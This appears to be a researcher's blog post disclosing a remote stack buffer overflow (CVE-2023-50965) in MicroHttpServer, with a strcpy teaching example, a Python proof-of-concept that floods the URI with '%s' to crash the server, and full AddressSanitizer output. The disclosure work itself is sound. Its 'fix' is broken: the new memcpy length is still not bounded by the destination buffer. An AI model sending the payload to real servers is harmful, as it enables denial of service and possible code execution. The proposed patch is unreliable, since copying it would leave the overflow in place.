Zero-Day Research: CVE-2023-50965 MicroHttpServer Remote Buffer Overflow

MicroHttpServer

MicroHttpServer is a simple HTTP web server that implements partial HTTP/1.1. MicroHttpServer can be easily integrated into embedded systems or traditional desktop applications. The project provides both C and Python3 versions of the web server and offers simple instructions on compiling the project from source.

Understanding Remote Buffer Overflows in C

Memory corruption vulnerabilities have been a notorious and prevalent security issue in software development for decades. Among these, remote buffer overflows are particularly dangerous as they can be exploited by attackers from a remote location, potentially leading to unauthorized system access. In this blog post, we delve into the nature of remote buffer overflows, focusing on applications written in the C programming language.

What is a Buffer Overflow?

A traditional buffer overflow occurs when a program writes more data to a buffer than it can hold. A buffer in the C programming language is a contiguous block of memory. This excess data can overwrite adjacent memory space, leading to unpredictable behavior, crashes, and vulnerabilities.

A remote buffer overflow occurs when an attacker sends more data to a networked program than it is designed to handle. Unlike a local buffer overflow, where the attack is executed on the user’s machine, remote buffer overflows can be exploited from anywhere, making them a critical security concern.

Why C is Vulnerable?

C doesn’t inherently check the bounds of buffers, relying instead on the programmer to manage memory. While providing flexibility and efficiency, this characteristic opens the door to buffer overflow vulnerabilities if the programmer does not meticulously manage and validate buffer sizes.

Below is a simple example of a buffer overflow in C:

#include <stdio.h>
#include <string.h>

void vulnerableFunction(char *str) {
    char password[10];
    char buffer[10];
    strcpy(buffer, str); // Copy the string into buffer without checking size
}

int main() {
    // An overly long string
    char largeString[100] = "ThisStringIsWayTooLongAndWillOverflowTheBufferCausingPotentialSecurityIssues";

    vulnerableFunction(largeString);
    printf("After vulnerableFunction call\n");

    return 0;
}

Explanation of the vulnerable code:

  • Function vulnerableFunction: This function has a buffer named buffer of 10 characters. It uses strcpy() to copy the input string str into buffer.
  • Vulnerability: The strcpy() function does not check if str will fit into buffer. If str is longer than 9 characters (plus the null terminator), it will overflow buffer.
  • In main(): largeString is defined with 100 characters, which is far longer than the 10-character buffer in vulnerableFunction.
  • Result: When vulnerableFunction(largeString) is called, it leads to a buffer overflow as largeString is copied into buffer. Any adjacent memory will be overwritten by the large buffer, which could corrupt data or crash the program. In this particular example, the char array named ‘password’ would be overwritten with data from ‘largeString’.

Typical Scenarios

Remote buffer overflows commonly occur in network services or applications that receive data over a network, like web servers, email servers, or FTP servers. If these applications are written in C and don’t properly check the length of user-defined input received over the network, they can be susceptible to buffer overflow attacks.

Discovering CVE-2023-50965

After executing various fuzz tests against the server, I discovered a remote stack buffer overflow in the C version of MicroHttpServer in the function uint8_t _ReadStaticFiles(HTTPReqMessage *req, HTTPResMessage *res) at lib/middleware.c, line 67. Any server or embedded application that utilizes MicroHttpServer is potentially at risk of remote code execution.

Makefile Modifications

The following modifications were made to the Makefile included in the project source code. The purpose of this is to track and verify the location of the stack buffer overflow by including address sanitizer and debug symbols:

PROJ=microhttpserver

CC=gcc
INCLUDES=-Ilib
DEFS=-D_PARSE_SIGNAL_ -D_PARSE_SIGNAL_INT_ -DDEBUG_MSG -DENABLE_STATIC_FILE=1
CFLAGS=-Os -Wall -fsanitize=address -g
SRCS=main.c app.c lib/server.c lib/middleware.c

all:
    $(CC) $(SRCS) $(INCLUDES) $(DEFS) $(CFLAGS) -o $(PROJ)

clean:
    rm -rf *.out *.bin *.exe *.o *.a *.so *.list *.img test build $(PROJ)

Proof of Concept Python3 Script

Next, I created the following script and saved it to a file named poc.py:

#!/usr/bin/env python3

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8001))
sock.send(b"GET /"+b"%s"*5000+b" HTTP/1.1\r\nHost:localhost:8001\r\n\r\n")
response = sock.recv(4096)
sock.close()

Starting MicroHttpServer

Executing the following command will start MicroHttpServer on port 8001:

$ ./microhttpserver 

Executing the Python3 Script

Once MicroHttpServer has been started, we can execute our proof of concept script:

$ python3 poc.py

Address Sanitizer Output

The following output is produced by address sanitizer, confirming the existence of the stack buffer overflow vulnerability. Line #1 includes the exact location where the vulnerability occurs in the source code. We can also verify that address sanitizer detected an invalid write of size 10001 at the address 0x7ffc75d79c90 in the application:

Listening
Accept 1 client.  127.0.0.1:35914
        Parse Header
        Parse body
=================================================================
==268450==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc75d79c90 at pc 0x7f141a66dcbf bp 0x7ffc75d79b50 sp 0x7ffc75d79310
WRITE of size 10001 at 0x7ffc75d79c90 thread T0
    #0 0x7f141a66dcbe in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:899
    #1 0x5632c9deeb74 in _ReadStaticFiles lib/middleware.c:67
    #2 0x5632c9deef9b in Dispatch lib/middleware.c:138
    #3 0x5632c9dee12b in _HTTPServerRequest lib/server.c:316
    #4 0x5632c9dee12b in _HTTPServerRequest lib/server.c:308
    #5 0x5632c9dee4e8 in HTTPServerRun lib/server.c:350
    #6 0x5632c9dec3c9 in main /home/kali/projects/fuzzing/MicroHttpServer/c-version/main.c:27
    #7 0x7f141a4456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #8 0x7f141a445784 in __libc_start_main_impl ../csu/libc-start.c:360
    #9 0x5632c9dec460 in _start (/home/kali/projects/fuzzing/MicroHttpServer/c-version/microhttpserver+0x2460) (BuildId: 39e1eff8cc6e7225cc4b4972fb5564788133b49d)

Address 0x7ffc75d79c90 is located in stack of thread T0 at offset 288 in frame
    #0 0x5632c9dee8a3 in _ReadStaticFiles lib/middleware.c:36

  This frame has 2 object(s):
    [48, 127) 'header' (line 47)
    [160, 288) 'path' (line 45) <== Memory access at offset 288 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:899 in __interceptor_memcpy
Shadow bytes around the buggy address:
  0x7ffc75d79a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffc75d79a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffc75d79b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1
  0x7ffc75d79b80: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 07 f2 f2
  0x7ffc75d79c00: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7ffc75d79c80: 00 00[f3]f3 f3 f3 00 00 00 00 00 00 00 00 00 00
  0x7ffc75d79d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffc75d79d80: 00 00 f1 f1 f1 f1 00 00 f2 f2 00 00 00 00 00 00
  0x7ffc75d79e00: 00 00 00 00 00 00 00 00 00 00 f2 f2 f2 f2 00 00
  0x7ffc75d79e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f3 f3
  0x7ffc75d79f00: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==268450==ABORTING

Mitigation

The vulnerable source code responsible for the buffer overflow can be seen below:

memcpy(path + strlen(STATIC_FILE_FOLDER), uri, strlen(uri));

The issue here is that memcpy is copying the value of ‘uri’ to ‘path+strlen(STATIC_FILE_FOLDER)’, but the size of the URI is larger than the destination buffer.

memcpy(path + strlen(STATIC_FILE_FOLDER), uri, strlen(uri));
memcpy(path + strlen(STATIC_FILE_FOLDER), uri, strlen(path) + strlen(STATIC_FILE_FOLDER));

Prevention and Mitigation Strategies

  1. Bounds Checking: Always perform bounds checking. Use functions that limit the amount of data written to buffers, like memcpy_s() instead of memcpy().
  2. Secure Coding Practices: Adopt secure coding standards that focus on preventing buffer overflows.
  3. Static and Dynamic Analysis Tools: Use tools to analyze code for potential buffer overflow vulnerabilities.
  4. Regular Updates and Patches: Keep systems and applications updated to patch known vulnerabilities.
  5. Address Space Layout Randomization (ASLR): ASLR makes it more difficult for attackers to predict the location of the overflowed buffer.
  6. Data Execution Prevention (DEP): DEP prevents the execution of code from certain parts of memory, notably where data is typically stored.

Conclusion

Remote buffer overflows in C are a significant security risk but can be mitigated with careful coding practices, thorough testing, and system hardening. Awareness and understanding of these vulnerabilities are the first steps in safeguarding against potential exploits.

As we continue to rely on networked applications, the importance of securing them against remote buffer overflows cannot be overstated. Developers, system administrators, and end-users must remain vigilant and proactive in their approach to cybersecurity.

No responses yet

Leave a Reply

Your email address will not be published. Required fields are marked *

Latest Comments

No comments to show.